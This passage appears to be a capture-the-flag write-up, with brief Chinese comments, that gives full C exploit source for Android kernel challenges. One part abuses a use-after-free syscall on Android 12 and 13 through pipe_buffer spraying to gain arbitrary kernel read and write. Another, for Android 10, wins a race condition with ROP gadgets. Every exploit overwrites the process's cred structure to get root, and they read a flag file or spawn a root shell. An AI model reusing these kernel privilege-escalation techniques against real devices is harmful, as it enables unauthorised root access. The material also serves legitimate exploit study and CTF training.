    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * Attempt to take ownership of the pipe buffer and its contents.
     * ->try_steal() returns %true for success, in which case the contents
     * of the pipe (the buf->page) is locked and now completely owned by the
     * caller. The page may then be transferred to a different mapping, the
     * most often used case is insertion into different file address space
     * cache.
     */
    int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * Get a reference to the pipe buffer.
     */
    int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};


int new_buffer(int idx){
    char user_addr;
    size_t size = 0;
    return syscall(__NR_uaf, &user_addr, size, (idx<<8));
}


int edit_buffer(int idx, char *user_addr, size_t size){
    return syscall(__NR_uaf, user_addr, size, (idx<<8) | 0x3);
}

int show_buffer(int idx, char *user_addr, size_t size){
    return syscall(__NR_uaf, user_addr, size, (idx<<8) | 0x2);
}

int del_buffer(int idx){
    char user_addr;
    size_t size = 0;
    return syscall(__NR_uaf, &user_addr, size, (idx<<8) | 0x1);
}

size_t page_offset_base;
size_t kernel_base = 0xffffffc008000000, kernel_offset = 0;

int pipe_fd[0x400][2];
int orig_pid = -1, victim_pid = -1;
int snd_orig_pid = -1, snd_vicitm_pid = -1;
int self_2nd_pipe_pid = -1, self_3rd_pipe_pid = -1, self_4th_pipe_pid = -1;
struct pipe_buffer info_pipe_buf;

struct pipe_buffer evil_2nd_buf, evil_3rd_buf, evil_4th_buf;
char temp_zero_buf[0x1000]= { '\0' };
void setup_evil_pipe(void)
{
    /* init the initial val for 2nd,3rd and 4th pipe, for recovering only */
    memcpy(&evil_2nd_buf, &info_pipe_buf, sizeof(evil_2nd_buf));
    memcpy(&evil_3rd_buf, &info_pipe_buf, sizeof(evil_3rd_buf));
    memcpy(&evil_4th_buf, &info_pipe_buf, sizeof(evil_4th_buf));

    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0xff0;

    /* hijack the 3rd pipe pointing to 4th */
    evil_3rd_buf.offset = 0x80 * 4;
    evil_3rd_buf.len = 0;
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    evil_4th_buf.offset = 0x80 * 2;
    evil_4th_buf.len = 0;
}

void arbitrary_read_by_pipe(struct page *page_to_read, void *dst)
{
    /* page to read */
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0x1ff8;
    evil_2nd_buf.page = page_to_read;

    /* hijack the 4th pipe pointing to 2nd pipe */
    write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));

    /* hijack the 2nd pipe for arbitrary read */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_pid][1], 
          temp_zero_buf, 
          0x80-sizeof(evil_2nd_buf));
    
    /* hijack the 3rd pipe to point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    /* read out data */
    read(pipe_fd[self_2nd_pipe_pid][0], dst, 0xfff);
}

void arbitrary_write_by_pipe(struct page *page_to_write, void *src, size_t len)
{
    /* page to write */
    evil_2nd_buf.page = page_to_write;
    evil_2nd_buf.offset = 0;
    evil_2nd_buf.len = 0;

    /* hijack the 4th pipe pointing to 2nd pipe */
    write(pipe_fd[self_3rd_pipe_pid][1], &evil_4th_buf, sizeof(evil_4th_buf));


    /* hijack the 2nd pipe for arbitrary read, 3rd pipe point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_2nd_buf, sizeof(evil_2nd_buf));
    write(pipe_fd[self_4th_pipe_pid][1], 
          temp_zero_buf, 
          0x80 - sizeof(evil_2nd_buf));
    
    /* hijack the 3rd pipe to point to 4th pipe */
    write(pipe_fd[self_4th_pipe_pid][1], &evil_3rd_buf, sizeof(evil_3rd_buf));

    /* write data into dst page */
    write(pipe_fd[self_2nd_pipe_pid][1], src, len);

}


size_t *tsk_buf, current_task_page, current_task, parent_task;
size_t vmemmap_base = 0xfffffffeffe00000;
char buf[0x1000];
size_t cred, real_cred;
size_t modprobe_path = 0xffffff80029a0e48;
void info_leaking_by_arbitrary_pipe()
{
    size_t *comm_addr;

    memset(buf, 0, sizeof(buf));

    puts("[*] Setting up kernel arbitrary read & write...");
    setup_evil_pipe();

    /* now seeking for the task_struct in kernel memory */
    puts("[*] Seeking task_struct in memory...");
    prctl(PR_SET_NAME, "try2findmehenry");

    for (int i = 0; 1; i++) {
        arbitrary_read_by_pipe((struct page*) (vmemmap_base + i * 0x40), buf);
    
        comm_addr = memmem(buf, 0xf00, "try2findmehenry", 15);
        if (comm_addr) output_msg("you find me");
        if (comm_addr && (comm_addr[-2] > 0xffff000000000000) /* task->cred 0xffffff800339ff00*/ 
            && (comm_addr[-3] > 0xffff000000000000)){ /* task->real_cred */
            if (comm_addr)  {
                printf("============================================\n");
                print_binary(buf, 0xf00);
            }
            cred = comm_addr[-2];
            real_cred = comm_addr[-3];
            print_addr("cred", cred);
            print_addr("real_cred", real_cred);
            page_offset_base = cred & 0xfffffffff0000000;
            print_addr("page_offset_base", page_offset_base);
            break;
        }
    }
}

size_t direct_map_addr_to_page_addr(size_t direct_map_addr)
{
    size_t page_count;

    page_count = ((direct_map_addr & (~0xfff)) - page_offset_base) / 0x1000;
    
    return vmemmap_base + page_count * 0x40;
}


void privilege_escalation_by_task_overwrite(void)
{
    size_t real_cred_page_addr = direct_map_addr_to_page_addr(real_cred);

    /* now, changing the current task_struct to get the full root :) */
    puts("[*] Escalating ROOT privilege now...");

    arbitrary_read_by_pipe((struct page*) real_cred_page_addr, buf);
    printf("==============before overwrite=========");
    print_binary(buf, 0x1000);
    size_t real_cred_offset = real_cred & 0xfff;
    memset((char *)&buf[real_cred_offset], 0, 0x28);
    print_addr("real_cred_offset", real_cred_offset);

    arbitrary_write_by_pipe((struct page*) real_cred_page_addr, buf, 0xff0);
    // arbitrary_write_by_pipe((struct page*) (current_task_page+0x40),
    //                         &buf[512], 0xff0);
    printf("==============after overwrite=========");
    memset(buf, 0, 0x1000);
    arbitrary_read_by_pipe((struct page*) real_cred_page_addr, buf);
    print_binary(buf, 0x1000);

    puts("[+] Done.\n");
    puts("[*] checking for root...");

    get_root_shell();
}



int main(){
    char buffer[0x1000] = {0};

    setbuf(stdout, NULL);

    if (fork() == 0)
    {
        // Exit after main process end.
        prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);

        // Consume the Redundant slabs
        for (int i = 0; i < sizeof(pipe_fd)/8; i++)
        {
            pipe(pipe_fd[i]);
            fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8);
        }

        while(1)
            sleep(-1);
    }

    // Wait for child
    sleep(1);
    for (int i = 0; i < 21; i++)
    {
        new_buffer(i);
    }
    for (int i = 0; i < 21; i++)
    {
        del_buffer(i);
    }

    // pause();

    // Spray slabs
    for (int i = 0; i < sizeof(pipe_fd)/8; i++)
    {
        pipe(pipe_fd[i]);
        fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8);
        write(pipe_fd[i][1], "bsdhenry", 8);
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], &i, sizeof(int));
        write(pipe_fd[i][1], "bsdhenry", 8);
        write(pipe_fd[i][1], "bsdhenry", 8);  /* prevent pipe_release() */
    }


    /* Step.2 Leak kernel_addr by anon_pipe_buf_ops */
    int uaf_pipe_idx = 0;
    output_msg("Leak kernel_addr");
    for (int i; i < 21; i++)
    {
        show_buffer(i, buffer, 0x100);
        if ((*(size_t *)&buffer[0x10] & 0xfff) == 0x6a8){
            uaf_pipe_idx = i;
            kernel_offset = *(size_t *)&buffer[0x10] - 0xffffffc00a1506a8;
            kernel_base += kernel_offset;
            print_addr("kernel_offset", kernel_offset);
            print_addr("kernel_base", kernel_base);
            printf("[*] uaf_pipe_idx == %d\n", uaf_pipe_idx);
            break;
        }
    }

    /* Step.3 Construct first level page UAF*/
    size_t page_1st = 0, page_2nd = 0;
    int origin_idx = 0, victim_idx = 0;
    memset(buffer, 0, 0x100);
    for(int i = 0; i < 21; i++){
        show_buffer(i, buffer, 0x100);
        if ((*(size_t *)&buffer[0x10] & 0xfff) == 0x6a8){
            if (!page_1st) {page_1st = *(size_t *)&buffer[0]; origin_idx = i;}
            else if(!page_2nd) {page_2nd = *(size_t *)&buffer[0]; victim_idx = i;}
            else break;
        }
    }
    print_addr("page_1st", page_1st);
    print_addr("page_2nd", page_2nd);
    printf("[*] origin_idx = %d\n", origin_idx);
    printf("[*] victim_idx = %d\n", victim_idx);
    // set victim page point to uaf page
    show_buffer(victim_idx, buffer, 0x100);
    *(size_t *)&buffer[0] = page_1st;
    edit_buffer(victim_idx, buffer, 0x100);
    memcpy(&info_pipe_buf, buffer, sizeof(struct pipe_buffer));

    print_binary(&info_pipe_buf, sizeof(struct pipe_buffer));
    printf("\033[34m\033[1m[?] info_pipe_buf->page: \033[0m%p\n" 
           "\033[34m\033[1m[?] info_pipe_buf->ops: \033[0m%p\n", 
           info_pipe_buf.page, info_pipe_buf.ops);

    if ((size_t) info_pipe_buf.page < 0xffffff0000000000
        || (size_t) info_pipe_buf.ops < 0xffffffc008000000) {
        err_msg("FAILED to find info_pipe_buf!");
    }

    puts("[*] checking for corruption...");
    for (int i = 0; i < sizeof(pipe_fd)/8; i++) {
        char bsd_str[0x10];
        int nr;

        memset(bsd_str, '\0', sizeof(bsd_str));
        read(pipe_fd[i][0], bsd_str, 8);
        read(pipe_fd[i][0], &nr, sizeof(int));
        if (!strcmp(bsd_str, "bsdhenry") && nr != i) {
            orig_pid = nr;
            victim_pid = i;
            printf("\033[32m\033[1m[+] Found victim: \033[0m%d "
                   "\033[32m\033[1m, orig: \033[0m%d\n\n", 
                   victim_pid, orig_pid);
            break;
        }
    }

    if (victim_pid == -1) err_msg("Fail to hit uaf pipe page");

    /* step.4 Corrupting_second_level_pipe_for_pipe_uaf */
    size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/sizeof(struct pipe_buffer));
    printf("the sizeof(struct pipe_buffer) = %ld\n", sizeof(struct pipe_buffer));

    memset(buffer, 0, sizeof(buffer));
    /* let the page's ptr at pipe_buffer */

    // free orignal pipe's page
    puts("[*] free original pipe...");
    close(pipe_fd[orig_pid][0]);
    close(pipe_fd[orig_pid][1]);

    for (int i; i < 3; i++)
    {
        show_buffer(i, buffer, 0x100);
        printf("==========buffer[%d]===========\n", i);
        print_binary(buffer, 0x100);
    }

    /* try to rehit victim page by reallocating pipe_buffer */
    puts("[*] fcntl() to set the pipe_buffer on victim page...");
    for (int i = 0; i < sizeof(pipe_fd)/8; i++) {
        if (i == orig_pid || i == victim_pid) {
            continue;
        }

        if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, snd_pipe_sz) < 0) {
            printf("[x] failed to resize %d pipe!\n", i);
            err_msg("FAILED to re-alloc pipe_buffer!");
        }
    }
    
    /* step.5 Building_self_writing_pipe */
    struct pipe_buffer evil_pipe_buf;
    struct page *page_ptr;

    puts("[*] hijacking the 2nd pipe_buffer on page to itself...");
    evil_pipe_buf.page = info_pipe_buf.page;
    evil_pipe_buf.offset = 0x100;           // sizeof(pipe_buffer) = 0x80
    evil_pipe_buf.len = 0x100;
    evil_pipe_buf.ops = info_pipe_buf.ops;
    evil_pipe_buf.flags = info_pipe_buf.flags;
    evil_pipe_buf.private = info_pipe_buf.private;

    show_buffer(victim_idx, buffer, 0x100);
    *(size_t *)&buffer[8] = 0x10000000000;  // set offset = 0x0; len = 0x100
    edit_buffer(victim_idx, buffer, 0x100);

    show_buffer(victim_idx, buffer, 0x100);
    print_binary(buffer, 0x100);
    printf("======================\n");
    // memset(buffer, 'a', 0x200);
    write(pipe_fd[victim_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));
    memset(buffer, '\0', 0x100);
    read(pipe_fd[victim_pid][0], buffer, 0x100);
    print_binary(buffer, 0x100);
    printf("======================\n");
    show_buffer(victim_idx, buffer, 0x100);
    print_binary(buffer, 0x100);

    /* check for third-level victim pipe */
    for (int i = 0; i < sizeof(pipe_fd)/8; i++) {
        if (i == orig_pid || i == victim_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        print_binary(&page_ptr, 0x8);
        if (page_ptr == evil_pipe_buf.page) {
            self_2nd_pipe_pid = i;
            printf("\033[32m\033[1m[+] Found self-writing pipe: \033[0m%d\n", 
                    self_2nd_pipe_pid);
            break;
        }
    }
    if (self_2nd_pipe_pid == -1) {
        err_msg("FAILED to build a self-writing pipe!");
    }

    puts("[*] hijacking the 3rd pipe_buffer on page to itself...");
    evil_pipe_buf.offset = 0x100;
    evil_pipe_buf.len = 0x80;
    memset(buffer, 0, 0x100);
    write(pipe_fd[victim_pid][1], buffer, 0x80-sizeof(evil_pipe_buf));
    write(pipe_fd[victim_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* check for third-level victim pipe */
    for (int i = 0; i < sizeof(pipe_fd)/8; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == self_2nd_pipe_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        if (page_ptr == evil_pipe_buf.page) {
            self_3rd_pipe_pid = i;
            printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
                    "%d\n", self_3rd_pipe_pid);
            break;
        }
    }

    if (self_3rd_pipe_pid == -1) {
        err_msg("FAILED to build a self-writing pipe!");
    }

    puts("[*] hijacking the 4th pipe_buffer on page to itself...");
    evil_pipe_buf.offset = 0x100;
    evil_pipe_buf.len = 0x80;

    memset(buffer, 0, 0x100);
    write(pipe_fd[victim_pid][1], buffer, 0x80-sizeof(evil_pipe_buf));
    write(pipe_fd[victim_pid][1], &evil_pipe_buf, sizeof(evil_pipe_buf));

    /* check for third-level victim pipe */
    for (int i = 0; i < sizeof(pipe_fd)/8; i++) {
        if (i == orig_pid || i == victim_pid 
            || i == self_2nd_pipe_pid || i== self_3rd_pipe_pid) {
            continue;
        }

        read(pipe_fd[i][0], &page_ptr, sizeof(page_ptr));
        if (page_ptr == evil_pipe_buf.page) {
            self_4th_pipe_pid = i;
            printf("\033[32m\033[1m[+] Found another self-writing pipe:\033[0m"
                    "%d\n", self_4th_pipe_pid);
            break;
        }
    }

    if (self_4th_pipe_pid == -1) {
        err_msg("FAILED to build a self-writing pipe!");
    }


    info_leaking_by_arbitrary_pipe();

    privilege_escalation_by_task_overwrite();   
    // for (int i; i < 3; i++)
    // {
    //     show_buffer(i, buffer, 0x100);
    //     printf("==========buffer[%d]===========\n", i);
    //     print_binary(buffer, 0x100);
    // }

    pause();

    return 0;
}

Android 13

需要堆喷到 pipe_buffer ,其余和 Android 12 的做法一样。

需要调节 PIPE_NUM 和 PTMX_NUM 来适应远程。

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <syscall.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/mman.h>
#include <sys/prctl.h>

#define __NR_uaf 602

#define VMEMMAP_BASE 0xff00000000000000
int this_pid = 0;

#define new_buffer(index) syscall(__NR_uaf, NULL, 0, ((index) << 8)|0)
#define del_buffer(index) syscall(__NR_uaf, NULL, 0, ((index) << 8)|1)
#define show_buffer(index, buf, len) syscall(__NR_uaf, (char*)(buf), (len), ((index) << 8)|2)
#define edit_buffer(index, buf, len) syscall(__NR_uaf, (char*)(buf), (len), ((index) << 8)|3)
#define pause() {write(STDOUT_FILENO, "[*] Paused (press enter to continue)\n", 37); getchar();}

int print_hex(void *p, int size)
{
    int i;
    unsigned char *buf = (unsigned char *)p;
    
    if(size % sizeof(void *))
    {
        return 1;
    }
    printf("--------------------------------------------------------------------------------\n");
    for (i = 0; i < size; i += sizeof(void *))
    {
        printf("0x%04x :  %02X %02X %02X %02X %02X %02X %02X %02X     0x%lx\n", 
                i, buf[i+0], buf[i+1], buf[i+2], buf[i+3], buf[i+4], buf[i+5], buf[i+6], buf[i+7], *(unsigned long*)&buf[i]);
    }
    return 0;
}

int pipe_fd[500][2];
int index_pipe = -1, index_gst1 = -1;

int hijack_pipe_buffer()
{
    char buf[0x1000] = {0};
    int consume_fd[104];

    #define PIPE_NUM 450
    #define PTMX_NUM 600

    // Initial
    for (int i = 0; i < PIPE_NUM; i++)
    {
        if (pipe(pipe_fd[i]) < 0)
        {
            perror("pipe");
            exit(EXIT_FAILURE);
        }
    }

    // Consume the Redundant slabs
    for (int i = 0; i < PTMX_NUM / 2; i++)
    {
        consume_fd[i] = open("/dev/ptmx", O_RDONLY);
        if (consume_fd[i] < 0)
        {
            perror("open");
            exit(EXIT_FAILURE);
        }
    }
    // Put the UAF slabs
    for (int i = 0; i < 21; i++)
    {
        new_buffer(i);
    }

    // Free the Redundant slabs
    for (int i = 0; i < PTMX_NUM / 2; i++)
    {
        close(consume_fd[i]);
    }
    // Free the UAF slabs
    for (int i = 0; i < 21; i++)
    {
        del_buffer(i);
    }

    // Spray slabs
    for (int i = 0; i < PIPE_NUM; i++)
    {
        fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8);
    }

    // Find the slab
    for (int i = 0; i < PIPE_NUM; i++)
    {
        memset(buf, 0x61, sizeof(buf));
        write(pipe_fd[i][1], buf, 0x800);
        for (int j = 0; j < 21; j++)
        {
            memset(buf, 0, sizeof(buf));
            show_buffer(j, buf, 0x28);
            if (*(size_t*)(buf + 8) == 0x80000000000)
            {
                index_pipe = i;
                index_gst1 = j;
                break;
            }
        }
        
        if (index_pipe != -1 || index_gst1 != -1)
        {
            break;
        }
    }

    if (index_pipe == -1 || index_gst1 == -1)
    {
        printf("Error: index not found\n");
        exit(EXIT_FAILURE);
    }

    printf("Found index_pipe: %d, index_gst1:%d\n", index_pipe, index_gst1);

    print_hex(buf, 0x28);
}

struct pipe_buffer
{
    size_t page;
    unsigned int offset;
    unsigned int len;
};

size_t read_word(size_t addr)
{
    struct pipe_buffer pi;
    size_t reuslt;
    pi.page = VMEMMAP_BASE + (((addr & (~0xfff)) - 0) / 0x1000) * 0x40;
    pi.len = 0x1000;
    pi.offset = addr & 0xfff;
    edit_buffer(index_gst1, &pi, sizeof(pi));
    read(pipe_fd[index_pipe][0], &reuslt, 0x8);
    return reuslt;
}

void write_word(size_t addr, size_t value)
{
    struct pipe_buffer pi;
    pi.page = VMEMMAP_BASE + (((addr & (~0xfff)) - 0) / 0x1000) * 0x40;
    pi.len = addr & 0xfff;
    pi.offset = 0;
    edit_buffer(index_gst1, &pi, sizeof(pi));
    write(pipe_fd[index_pipe][1], &value, 0x8);
}

#define INIT_TASK 0xffffffc00ab51480
#define TASK_PID_OFFSET 0x5d8
#define NEXT_TASK_OFFSET 0x4d0
#define PREV_TASK_OFFSET (NEXT_TASK_OFFSET+8)
#define TASK_PTR_CRED_OFFSET 0x790

size_t get_current_task()
{
    size_t init_task = INIT_TASK, task = init_task;
    size_t result = 0;
    int pid = 0;
    int i = 0;

    while(result == 0 && i++ < 128)
    {
        task = read_word(task + PREV_TASK_OFFSET) - (NEXT_TASK_OFFSET);
        printf("task: 0x%lx\n", task);
        if(task == init_task)
        {
            break;
        }
        pid = read_word(task + TASK_PID_OFFSET);
        if(pid == this_pid) // "exp"
        {
            result = task;
        }
    }

    return result;
}

void exploit()
{
    size_t current_task = 0, current_cred = 0;

    hijack_pipe_buffer();

    current_task = get_current_task();
    printf("current_task: 0x%lx\n", current_task);
    current_cred = read_word(current_task + TASK_PTR_CRED_OFFSET);
    printf("current_cred: 0x%lx\n", current_cred);

    // Modify UID
    for (int i = 0; i < 0x20; i += 8)
    {
        write_word(current_cred + i, 0);
    }
}

int readflag()
{
    int fd = 0;
    char buf[0x100];
    int result;

    fd = open("/system/flag", O_RDONLY);
    if(fd == -1)
    {
        perror("open");
        exit(EXIT_FAILURE);
    }
    memset(buf, 0, sizeof(buf));
    result = read(fd, buf, sizeof(buf)-1);
    printf("result: %d\n", result);
    write(STDOUT_FILENO, buf, result);

    close(fd);

    return 0;
}

int main()
{
    setbuf(stdout, NULL);

    this_pid = getpid();
    printf("Start, pid = %d (0x%x)\n", this_pid, this_pid);

    exploit();

    printf("Current uid: %d\n", getuid());
    
    readflag();

    puts("End");

    return 0;
}

kSysRace

Android 10

利用gadget构造任意读写原语,直接搜索cred结构体然后修改


#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <sched.h>
#include <stdint.h>
#include <pthread.h>
#include <linux/keyctl.h>

#define __NR_race 604

#define pause() {write(STDOUT_FILENO, "[*] Paused (press enter to continue)\n", 37); getchar();}

// #define DB_STACK_ADDR 0xfffffe0000010f30

typedef struct mystruct {
    size_t  size;
    char buffer[0];
}mystruct;

size_t race(mystruct *userkey, char *buffer, unsigned long len, char *userhmac){
    return syscall(__NR_race, userkey, buffer, len, userhmac);
}

void err_msg(char *msg)
{
    printf("\033[31m\033[1m[!] %s \033[0m\n",msg);
    exit(0);
}
void output_msg(char *msg)
{
    printf("\033[34m\033[1m[+] %s \033[0m\n",msg);
}
void print_addr(char *msg, size_t value)
{
    printf("\033[35m\033[1m[*] %s == %p\033[0m\n",msg,(size_t *)value);
}
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
    output_msg("Process binded to core");
}

int status = 1;
char buf_userkey[0x1000];
char hmac[20] = {0};
char ptext[0x1000] = {0};
mystruct *userkey = buf_userkey;

pthread_t raceFunc;
size_t core_pattern = 0xFFFFFF8008DEE930;
size_t selinux_enforcing = 0xFFFFFF8008EDA770;
size_t gadget_write = 0xFFFFFF8008131E60;
//ldr x0, [x0, #0x100] ; ret
size_t gadget_read = 0xffffff8008099fcc;
size_t cryptoctx_getbits = 0xFFFFFF80080DB018;
size_t bss = 0xFFFFFF8008E92200;
size_t work_for_cpu_fn = 0xFFFFFF80080D000C;
size_t selnl_notify_setenforce = 0xFFFFFF80083EF928;
size_t selinux_status_update_setenforce = 0xFFFFFF80083FF540;
/*
.kernel:FFFFFF8008707744                 LDRB            W8, [X0,#0x311]
.kernel:FFFFFF8008707748                 MOV             X19, X0
.kernel:FFFFFF800870774C                 ADD             X29, SP, #0x10
.kernel:FFFFFF8008707750                 CBZ             W8, loc_FFFFFF8008707774
.kernel:FFFFFF8008707754                 LDR             X8, [X19,#0x338]
.kernel:FFFFFF8008707758                 CBZ             X8, loc_FFFFFF8008707764
.kernel:FFFFFF800870775C                 ADD             X0, X19, #0x318
.kernel:FFFFFF8008707760                 BLR             X8
 */
size_t mov_x19_gadget = 0xFFFFFF8008707744;
/*
.kernel:FFFFFF80080DB3F8                 LDR             X8, [X19,#0xC8]
.kernel:FFFFFF80080DB3FC                 MOV             X0, X22
.kernel:FFFFFF80080DB400                 MOV             X1, X21
.kernel:FFFFFF80080DB404                 MOV             X2, X20
.kernel:FFFFFF80080DB408                 BLR             X8
.kernel:FFFFFF80080DB40C                 LDR             X8, [X19,#0xD0]
.kernel:FFFFFF80080DB410                 MOV             X20, X0
.kernel:FFFFFF80080DB414                 MOV             X0, X19
.kernel:FFFFFF80080DB418                 BLR             X8
.kernel:FFFFFF80080DB41C                 SXTW            X0, W20
.kernel:FFFFFF80080DB420
.kernel:FFFFFF80080DB420 loc_FFFFFF80080DB420                    ; CODE XREF: handle_128+118↑j
.kernel:FFFFFF80080DB420                 LDP             X29, X30, [SP,#0x40+var_s0]
.kernel:FFFFFF80080DB424                 LDP             X20, X19, [SP,#0x40+var_10]
.kernel:FFFFFF80080DB428                 LDP             X22, X21, [SP,#0x40+var_20]
.kernel:FFFFFF80080DB42C                 LDP             X24, X23, [SP,#0x40+var_30]
.kernel:FFFFFF80080DB430                 LDR             X25, [SP+0x40+var_40],#0x50
.kernel:FFFFFF80080DB434                 RET
*/
size_t gadget2 = 0xFFFFFF80080DB3F8;
size_t ret = 0xFFFFFF80080DB434;
/*
.kernel:FFFFFF80080DB40C                 LDR             X8, [X19,#0xD0]
.kernel:FFFFFF80080DB410                 MOV             X20, X0
.kernel:FFFFFF80080DB414                 MOV             X0, X19
.kernel:FFFFFF80080DB418                 BLR             X8
.kernel:FFFFFF80080DB41C                 SXTW            X0, W20
.kernel:FFFFFF80080DB420
.kernel:FFFFFF80080DB420 loc_FFFFFF80080DB420                    ; CODE XREF: handle_128+118↑j
.kernel:FFFFFF80080DB420                 LDP             X29, X30, [SP,#0x40+var_s0]
.kernel:FFFFFF80080DB424                 LDP             X20, X19, [SP,#0x40+var_10]
.kernel:FFFFFF80080DB428                 LDP             X22, X21, [SP,#0x40+var_20]
.kernel:FFFFFF80080DB42C                 LDP             X24, X23, [SP,#0x40+var_30]
.kernel:FFFFFF80080DB430                 LDR             X25, [SP+0x40+var_40],#0x50
.kernel:FFFFFF80080DB434                 RET
*/
size_t gadget3 = 0xFFFFFF80080DB40C;
//
size_t mov_x0_zero = 0xffffff800809cc8c;
#define INIT_TASK 0xFFFFFF8008DBAF80
#define TASK_OFFSET 0x4a8
#define PID_OFFSET 0x5a8
#define PTR_CRED_OFFSET 0x748

void competeFunc() {
    while(status) {
        // printf("I'm child thread\n");
        userkey->size = 0x10;
    }
}

size_t exec_func(size_t func,size_t arg,int check_ret,int ret_val) {
    *(size_t *)&userkey->buffer[0x10] = cryptoctx_getbits;
    *(size_t *)&userkey->buffer[0x18] = mov_x19_gadget;

    status = 1;
    if (pthread_create(&raceFunc,NULL,competeFunc,NULL) < 0){
        err_msg("Fail to create thread\n");
    }
    
    size_t t0 = time(NULL);
    size_t ret = 0;
    while (1) {
        *(char *)(ptext + 0x311) = 1;
        *(size_t *)(ptext + 0x338) = gadget2;

        *(size_t *)(ptext + 0xc8) = mov_x0_zero;
        *(size_t *)(ptext + 0xd0) = work_for_cpu_fn;

        *(size_t *)(ptext + 0x20) = func;
        *(size_t *)(ptext + 0x28) = arg;

        userkey->size = 0x20;
        race(userkey, ptext, 0x340, hmac);
        if (check_ret) {
            if (*(size_t *)(ptext + 0x30) >> 48 == ret_val) {
                ret = *(size_t *)(ptext + 0x30);
                break;
            }
        } else {
            //不能判断是否竞争成功,直接每个运行6秒
            if (time(NULL) - t0 > 6) {
                break;
            }
        }
    }
    status = 0;
    return ret;
}
size_t read_qword(size_t addr,size_t check_val) {
    *(size_t *)&userkey->buffer[0x10] = cryptoctx_getbits;
    *(size_t *)&userkey->buffer[0x18] = mov_x19_gadget;

    status = 1;
    if (pthread_create(&raceFunc,NULL,competeFunc,NULL) < 0){
        err_msg("Fail to create thread\n");
    }
    
    size_t t0 = time(NULL);
    size_t ret = 0;
    while (1) {
        *(char *)(ptext + 0x311) = 1;
        *(size_t *)(ptext + 0x338) = gadget2;

        *(size_t *)(ptext + 0xc8) = mov_x0_zero;
        *(size_t *)(ptext + 0xd0) = work_for_cpu_fn;

        *(size_t *)(ptext + 0x20) = gadget_read;
        *(size_t *)(ptext + 0x28) = addr - 0x100;

        userkey->size = 0x20;
        race(userkey, ptext, 0x340, hmac);
        
        if ((*(size_t *)(ptext + 0x30) >> 48) == check_val) {
            ret = *(size_t *)(ptext + 0x30);
            break;
        }
    }
    status = 0;
    return ret;
}
void write_qword(size_t addr,size_t val) {
    *(size_t *)&userkey->buffer[0x10] = cryptoctx_getbits;
    *(size_t *)&userkey->buffer[0x18] = mov_x19_gadget;
    
    status = 1;
    if (pthread_create(&raceFunc,NULL,competeFunc,NULL) < 0){
        err_msg("Fail to create thread\n");
    }
    
    size_t t0 = time(NULL);
    while (1) {
        *(char *)(ptext + 0x311) = 1;
        *(size_t *)(ptext + 0x338) = gadget3;
        *(size_t *)(ptext + 0xd0) = gadget_write;

        *(size_t *)(ptext + 0x20) = addr;
        *(size_t *)(ptext + 0) = val;

        userkey->size = 0x20;
        race(userkey, ptext, 0x340, hmac);
        //不能判断是否竞争成功,直接每个运行6秒
        if (time(NULL) - t0 > 6) break;
    }
    status = 0;
}

size_t get_current_task() {
    size_t task = INIT_TASK;
    size_t result = 0;
    int i = 0;
    int pid;
    int current_task_pid = getpid();

    while(result == 0 && i++ < 1000) {
        task = read_qword(task + TASK_OFFSET,0xffff) - TASK_OFFSET;
        printf("task: %#lx\n", task);
        if(task == INIT_TASK) {
            break;
        }
        pid = read_qword(task + PID_OFFSET,0) & 0xFFFFFFFF;
        printf("pid: %d\n", pid);
        if(pid == current_task_pid) {
            result = task;
        }
    }

    return result;
}

int main(){
    int ret;
    bind_core(0);

    memcpy(userkey->buffer, "1234567890abcdef", 0x10);
    memcpy(ptext, "This is a test message. ", 0x20);
    size_t current_task = get_current_task();
    printf("current_task_addr=0x%lx\n",current_task);
    size_t current_cred = read_qword(current_task + PTR_CRED_OFFSET,0xffff);
    printf("current_cred: 0x%lx\n", current_cred);
    for(int i = 0; i < 8; i ++) {
        //gadget的val不能为0,所以错位写入0
        write_qword(current_cred + 4 + i * 4, 0xFFFFFFFF00000000);
    }
    system("/bin/sh");

    return 0;
}